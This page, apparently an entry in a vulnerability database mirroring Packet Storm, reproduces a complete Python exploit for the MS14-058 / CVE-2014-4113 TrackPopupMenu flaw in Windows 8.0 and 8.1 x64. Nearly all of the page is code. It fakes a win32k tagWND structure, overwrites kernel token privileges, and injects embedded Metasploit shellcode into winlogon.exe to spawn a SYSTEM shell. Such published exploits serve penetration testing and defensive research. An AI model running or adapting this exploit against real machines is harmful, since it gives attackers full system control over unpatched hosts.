Lucene search
K

Windows 8.0 / 8.1 x64 TrackPopupMenu Privilege Escalation

🗓️ 21 May 2015 00:00:00Reported by Matteo MemelliType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 119 Views

Windows 8.0/8.1 x64 TrackPopupMenu Privilege Escalation CVE-2014-411

Related
Code
`# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)  
# CVE-2014-4113 Privilege Escalation  
# http://www.offensive-security.com  
# Thx to Moritz Jodeit for the beautiful writeup   
# http://www.exploit-db.com/docs/35152.pdf   
# Target OS Windows 8.0 - 8.1 x64  
# Author: Matteo Memelli ryujin <at> offensive-security.com  
  
from ctypes import *  
from ctypes.wintypes import *  
import struct, sys, os, time, threading, signal  
  
ULONG_PTR = PVOID = LPVOID  
HCURSOR = HICON  
PDWORD = POINTER(DWORD)  
PQWORD = POINTER(LPVOID)  
LRESULT = LPVOID  
UCHAR = c_ubyte  
QWORD = c_ulonglong  
CHAR = c_char  
NTSTATUS = DWORD  
MIIM_STRING = 0x00000040  
MIIM_SUBMENU = 0x00000004  
WH_CALLWNDPROC = 0x4  
GWLP_WNDPROC = -0x4  
NULL = 0x0  
SystemExtendedHandleInformation = 64  
ObjectDataInformation = 2  
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004  
STATUS_BUFFER_OVERFLOW = 0x80000005L  
STATUS_INVALID_HANDLE = 0xC0000008L  
STATUS_BUFFER_TOO_SMALL = 0xC0000023L  
STATUS_SUCCESS = 0  
TOKEN_ALL_ACCESS = 0xf00ff  
DISABLE_MAX_PRIVILEGE = 0x1  
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000  
PAGE_EXECUTE_READWRITE = 0x00000040  
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )  
VIRTUAL_MEM = ( 0x1000 | 0x2000 )  
TH32CS_SNAPPROCESS = 0x02  
  
WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM)  
WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM)  
WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)  
  
bWndProcFlag = False  
bHookCallbackFlag = False  
EXPLOITED = False  
Hmenu01 = Hmenu02 = None  
  
# /*  
# * windows/x64/exec - 275 bytes  
# * http://www.metasploit.com  
# * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,  
# * CMD=cmd.exe  
# */  
SHELLCODE = (  
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"  
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"  
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"  
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"  
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"  
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"  
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"  
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"  
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"  
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"  
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"  
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"  
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"  
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"  
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"  
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"  
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"  
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"  
"\x2e\x65\x78\x65\x00")  
  
class LSA_UNICODE_STRING(Structure):  
"""Represent the LSA_UNICODE_STRING on ntdll."""  
_fields_ = [  
("Length", USHORT),  
("MaximumLength", USHORT),  
("Buffer", LPWSTR),  
]  
  
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):  
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""  
_fields_ = [  
("Object", PVOID),  
("UniqueProcessId", PVOID),  
("HandleValue", PVOID),  
("GrantedAccess", ULONG),  
("CreatorBackTraceIndex", USHORT),  
("ObjectTypeIndex", USHORT),  
("HandleAttributes", ULONG),  
("Reserved", ULONG),  
]  
  
class SYSTEM_HANDLE_INFORMATION_EX(Structure):  
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""  
_fields_ = [  
("NumberOfHandles", PVOID),  
("Reserved", PVOID),  
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),  
]  
  
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):  
"""Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""  
_fields_ = [  
("Name", LSA_UNICODE_STRING),  
("Reserved", ULONG * 22),  
]  
  
class MENUITEMINFO(Structure):  
"""Contains information about a menu item."""  
_fields_ = [  
("cbSize" , UINT),  
("fMask" , UINT),  
("fType" , UINT),  
("fState" , UINT),  
("wID" , UINT),  
("hSubMenu" , HMENU),  
("hbmpChecked" , HBITMAP),  
("hbmpUnchecked", HBITMAP),  
("dwItemData" , ULONG_PTR),  
("dwTypeData" , LPWSTR),  
("cch" , UINT),  
("hbmpItem" , HBITMAP),  
]  
  
class WNDCLASS(Structure):  
"""Contains the window class attributes that are registered by the   
RegisterClass function."""  
_fields_ = [  
("style" , UINT),  
("lpfnWndProc" , WNDPROC),  
("cbClsExtra" , INT),  
("cbWndExtra" , INT),  
("hInstance" , HINSTANCE),  
("hIcon" , HCURSOR),  
("hCursor" , HBITMAP),  
("hbrBackground", HBRUSH),  
("lpszMenuName" , LPWSTR),  
("lpszClassName", LPWSTR),  
]  
  
class PROCESSENTRY32(Structure):  
"""Describes an entry from a list of the processes residing in the system  
address space when a snapshot was taken."""  
_fields_ = [ ( 'dwSize' , DWORD ) ,  
( 'cntUsage' , DWORD) ,  
( 'th32ProcessID' , DWORD) ,  
( 'th32DefaultHeapID' , POINTER(ULONG)) ,  
( 'th32ModuleID' , DWORD) ,  
( 'cntThreads' , DWORD) ,  
( 'th32ParentProcessID' , DWORD) ,  
( 'pcPriClassBase' , LONG) ,  
( 'dwFlags' , DWORD) ,  
( 'szExeFile' , CHAR * MAX_PATH )   
]  
  
user32 = windll.user32  
kernel32 = windll.kernel32  
ntdll = windll.ntdll  
advapi32 = windll.advapi32  
  
user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM]  
user32.PostMessageW.restype = BOOL  
user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM]  
user32.DefWindowProcW.restype = LRESULT  
user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1]  
user32.UnhookWindowsHook.restype = BOOL  
user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2]  
user32.SetWindowLongPtrW.restype = LPVOID  
user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM]  
user32.CallNextHookEx.restype = LRESULT  
user32.RegisterClassW.argtypes = [LPVOID]  
user32.RegisterClassW.restype = BOOL  
user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD,   
INT, INT, INT, INT, HWND, HMENU,  
HINSTANCE, LPVOID]  
user32.CreateWindowExW.restype = HWND  
user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID]  
user32.InsertMenuItemW.restype = BOOL  
user32.DestroyMenu.argtypes = [HMENU]  
user32.DestroyMenu.restype = BOOL  
user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD]  
user32.SetWindowsHookExW.restype = BOOL  
user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND,  
DWORD]  
user32.TrackPopupMenu.restype = BOOL  
advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]  
advapi32.OpenProcessToken.restype = BOOL  
advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD,   
DWORD, DWORD, DWORD, DWORD,  
POINTER(HANDLE)]  
advapi32.CreateRestrictedToken.restype = BOOL  
advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD,   
DWORD, DWORD]  
advapi32.AdjustTokenPrivileges.restype = BOOL  
advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE]  
advapi32.ImpersonateLoggedOnUser.restype = BOOL  
kernel32.GetCurrentProcess.restype = HANDLE  
kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD,   
POINTER(LPVOID)]  
kernel32.WriteProcessMemory.restype = BOOL  
kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD]  
kernel32.OpenProcess.restype = HANDLE  
kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD,   
DWORD]  
kernel32.VirtualAllocEx.restype = LPVOID  
kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD,   
LPVOID, DWORD, POINTER(HANDLE)]  
kernel32.CreateRemoteThread.restype = BOOL  
kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD]  
kernel32.CreateToolhelp32Snapshot.restype = HANDLE  
kernel32.CloseHandle.argtypes = [HANDLE]  
kernel32.CloseHandle.restype = BOOL  
kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]  
kernel32.Process32First.restype = BOOL  
kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]  
kernel32.Process32Next.restype = BOOL  
kernel32.GetCurrentThreadId.restype = DWORD  
ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID,  
ULONG, DWORD]  
ntdll.NtAllocateVirtualMemory.restype = NTSTATUS  
ntdll.NtQueryObject.argtypes = [HANDLE, DWORD,  
POINTER(PUBLIC_OBJECT_TYPE_INFORMATION),  
DWORD, DWORD]  
ntdll.NtQueryObject.restype = NTSTATUS  
ntdll.NtQuerySystemInformation.argtypes = [DWORD,   
POINTER(SYSTEM_HANDLE_INFORMATION_EX),   
DWORD, POINTER(DWORD)]  
ntdll.NtQuerySystemInformation.restype = NTSTATUS  
  
  
def log(msg, e=None):  
if e == "e":  
msg = "[!] " + msg  
if e == "d":  
msg = "[*] " + msg  
else:  
msg = "[+] " + msg  
print msg  
  
  
def getLastError():  
"""Format GetLastError"""  
  
buf = create_string_buffer(2048)  
if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,  
kernel32.GetLastError(), 0,  
buf, sizeof(buf), NULL):  
log(buf.value, "e")  
else:  
log("Unknown Error", "e")  
  
  
class x_file_handles (Exception):  
pass  
  
  
def get_type_info(handle):  
"""Get the handle type information."""  
  
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()  
size = DWORD(sizeof(public_object_type_information))  
while True:  
result = ntdll.NtQueryObject(handle, ObjectDataInformation,   
byref(public_object_type_information), size, 0x0)  
if result == STATUS_SUCCESS:  
return public_object_type_information.Name.Buffer  
elif result == STATUS_INFO_LENGTH_MISMATCH:  
size = DWORD(size.value * 4)  
resize(public_object_type_information, size.value)  
elif result == STATUS_INVALID_HANDLE:  
return "INVALID HANDLE: %s" % hex(handle)  
else:  
raise x_file_handles("NtQueryObject", hex(result))  
  
  
def get_handles():  
"""Return all the open handles in the system"""  
  
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()  
size = DWORD (sizeof (system_handle_information))  
while True:  
result = ntdll.NtQuerySystemInformation(  
SystemExtendedHandleInformation,  
byref(system_handle_information),  
size,  
byref(size)  
)  
if result == STATUS_SUCCESS:  
break  
elif result == STATUS_INFO_LENGTH_MISMATCH:  
size = DWORD(size.value * 4)  
resize(system_handle_information, size.value)  
else:  
raise x_file_handles("NtQuerySystemInformation", hex(result))  
  
pHandles = cast(  
system_handle_information.Handles,  
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \  
system_handle_information.NumberOfHandles)  
)  
for handle in pHandles.contents:  
yield handle.UniqueProcessId, handle.HandleValue, handle.Object  
  
  
def WndProc(hwnd, message, wParam, lParam):  
"""Window procedure"""  
  
global bWndProcFlag  
if message == 289 and not bWndProcFlag:  
bWndProcFlag = True  
user32.PostMessageW(hwnd, 256, 40, 0)  
user32.PostMessageW(hwnd, 256, 39, 0)  
user32.PostMessageW(hwnd, 513, 0, 0)  
return user32.DefWindowProcW(hwnd, message, wParam, lParam)  
  
  
def hook_callback_one(code, wParam, lParam):  
"""Sets a new address for the window procedure"""  
  
global bHookCallbackFlag  
if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\  
not bHookCallbackFlag:  
bHookCallbackFlag = True  
if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01):  
# Sets a new address for the window procedure  
log("Callback triggered!")  
log("Setting the new address for the window procedure...")  
lpPrevWndFunc = user32.SetWindowLongPtrW\  
((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value,  
GWLP_WNDPROC, CALLBACK02)  
return user32.CallNextHookEx(0, code, wParam, lParam)  
  
  
def hook_callback_two(hWnd, Msg, wParam, lParam):  
"""Once called will return the fake tagWND address"""  
  
global EXPLOITED  
user32.EndMenu()  
EXPLOITED = True  
log("Returning the fake tagWND and overwriting token privileges...")  
return 0x00000000FFFFFFFB  
  
  
def buildMenuAndTrigger():  
"""Create menus and invoke TrackPopupMenu"""  
  
global Hmenu01, Hmenu02  
log("Creating windows and menus...")  
wndClass = WNDCLASS()  
wndClass.lpfnWndProc = WNDPROC(WndProc)  
wndClass.lpszClassName = u"pwned"  
wndClass.cbClsExtra = wndClass.cbWndExtra = 0  
  
# Registering Class  
if not user32.RegisterClassW(addressof(wndClass)):  
log("RegisterClassW failed", "e")  
sys.exit()  
  
# Creating the Window   
hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0,  
0, NULL, NULL, NULL, NULL)  
  
if not hWnd:  
log("CreateWindowExW Failed", "e")  
sys.exit()  
  
# Creating popup menu  
user32.CreatePopupMenu.restype = HMENU  
Hmenu01 = user32.CreatePopupMenu()  
if not Hmenu01:  
log("CreatePopupMenu failed 0x1", "e")  
sys.exit()  
Hmenu01Info = MENUITEMINFO()  
Hmenu01Info.cbSize = sizeof(MENUITEMINFO)  
Hmenu01Info.fMask = MIIM_STRING  
  
# Insert first menu  
if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)):  
log("Error in InsertMenuItema 0x1", "e")  
user32.DestroyMenu(Hmenu01)  
sys.exit()  
  
# Creating second menu  
Hmenu02 = user32.CreatePopupMenu()  
if not Hmenu02:  
log("CreatePopupMenu failed 0x2", "e")  
sys.exit()  
Hmenu02Info = MENUITEMINFO()  
Hmenu02Info.cbSize = sizeof(MENUITEMINFO)  
Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU)  
Hmenu02Info.dwTypeData = ""  
Hmenu02Info.cch = 1  
Hmenu02Info.hSubMenu = Hmenu01  
  
# Insert second menu  
if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)):  
log("Error in InsertMenuItema 0x2", "e")  
user32.DestroyMenu(Hmenu01)  
user32.DestroyMenu(Hmenu01)  
sys.exit()   
  
# Set window callback  
tid = kernel32.GetCurrentThreadId()  
if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid):  
log("Failed SetWindowsHookExA 0x1", "e")  
sys.exit()  
  
# Crash it!  
log("Invoking TrackPopupMenu...")   
user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL)  
  
  
def alloctagWND():  
"""Allocate a fake tagWND in userspace at address 0x00000000fffffff0"""   
  
hProcess = HANDLE(kernel32.GetCurrentProcess())  
hToken = HANDLE()  
hRestrictedToken = HANDLE()  
  
if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)):  
log("Could not open current process token", "e")  
getLastError()  
sys.exit()  
if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0,   
0, 0, 0, 0, byref(hRestrictedToken)):  
log("Could not create the restricted token", "e")  
getLastError()  
sys.exit()  
if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0,   
NULL, NULL):  
log("Could not adjust privileges to the restricted token", "e")  
getLastError()  
sys.exit()   
  
# Leak Token addresses in kernel space  
log("Leaking token addresses from kernel space...")  
for pid, handle, obj in get_handles():  
if pid==os.getpid() and get_type_info(handle) == "Token":  
if hToken.value == handle:  
log("Current process token address: %x" % obj)  
if hRestrictedToken.value == handle:  
log("Restricted token address: %x" % obj)  
RestrictedToken = obj  
  
CurrentProcessWin32Process = "\x00"*8  
# nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES  
# +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8   
TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8)  
tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\  
"\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\  
"\x00"*8 +\  
"\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\  
TokenAddress + "\x47"*0x28  
## Allocate space for the input buffer  
lpBaseAddress = LPVOID(0x00000000fffffff0)  
Zerobits = ULONG(0)  
RegionSize = LPVOID(0x1000)  
written = LPVOID(0)   
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff,  
byref(lpBaseAddress),  
0x0,  
byref(RegionSize),  
VIRTUAL_MEM,  
PAGE_EXECUTE_READWRITE)  
if dwStatus != STATUS_SUCCESS:  
log("Failed to allocate tagWND object", "e")  
getLastError()  
sys.exit()  
  
# Copy input buffer to the fake tagWND   
nSize = 0x200   
written = LPVOID(0)  
lpBaseAddress = QWORD(0x00000000fffffff0)  
dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff,   
lpBaseAddress,   
tagWND,   
nSize,  
byref(written))   
if dwStatus == 0:  
log("Failed to copy the input buffer to the tagWND object", "e")  
getLastError()  
sys.exit()   
  
log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\  
(written.value, lpBaseAddress.value))   
return hRestrictedToken  
  
  
def injectShell(hPrivilegedToken):  
"""Impersonate privileged token and inject shellcode into winlogon.exe"""  
  
while not EXPLOITED:  
time.sleep(0.1)  
log("-"*70)  
log("Impersonating the privileged token...")  
if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken):  
log("Could not impersonate the privileged token", "e")  
getLastError()  
sys.exit()  
  
# Get winlogon.exe pid  
pid = getpid("winlogon.exe")  
  
# Get a handle to the winlogon process we are injecting into   
hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))  
  
if not hProcess:  
log("Couldn't acquire a handle to PID: %s" % pid, "e")  
sys.exit()  
  
log("Obtained handle 0x%x for the winlogon.exe process" % hProcess)  
  
# Creating shellcode buffer to inject into the host process  
sh = create_string_buffer(SHELLCODE, len(SHELLCODE))  
code_size = len(SHELLCODE)   
  
# Allocate some space for the shellcode (in the program memory)  
sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM,   
PAGE_EXECUTE_READWRITE)  
if not sh_address:  
log("Could not allocate shellcode in the remote process")  
getLastError()  
sys.exit()  
  
log("Allocated memory at address 0x%x" % sh_address)  
  
# Inject shellcode in to winlogon.exe process space  
written = LPVOID(0)  
shellcode = QWORD(sh_address)  
dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size,   
byref(written))  
if not dwStatus:  
log("Could not write shellcode into winlogon.exe", "e")  
getLastError()  
sys.exit()  
  
log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address))  
  
# Now we create the remote thread and point its entry routine to be head of   
# our shellcode  
thread_id = HANDLE(0)  
if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0,   
byref(thread_id)):  
log("Failed to inject shellcode into winlogon.exe")  
sys.exit(0)  
  
log("Remote thread 0x%08x created" % thread_id.value)  
log("Spawning SYSTEM shell...")  
# Kill python process to kill the window and avoid BSODs  
os.kill(os.getpid(), signal.SIGABRT)  
  
  
def getpid(procname):  
""" Get Process Pid by procname """  
  
pid = None  
try:  
hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)  
pe32 = PROCESSENTRY32()  
pe32.dwSize = sizeof(PROCESSENTRY32)  
ret = kernel32.Process32First(hProcessSnap , byref(pe32))  
while ret:  
if pe32.szExeFile == LPSTR(procname).value:  
pid = pe32.th32ProcessID  
ret = kernel32.Process32Next(hProcessSnap, byref(pe32))  
kernel32.CloseHandle ( hProcessSnap )  
except Exception, e:  
log(str(e), "e")  
if not pid:  
log("Could not find %s PID" % procname)  
sys.exit()  
return pid  
  
  
CALLBACK01 = WinFunc1(hook_callback_one)   
CALLBACK02 = WinFunc2(hook_callback_two)  
  
  
if __name__ == '__main__':  
log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com",   
"d")  
# Prepare the battlefield  
hPrivilegedToken = alloctagWND()  
# Start the injection thread  
t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,))  
t1.daemon = False  
t1.start()  
# Trigger the vuln  
buildMenuAndTrigger()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2015 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.78459
119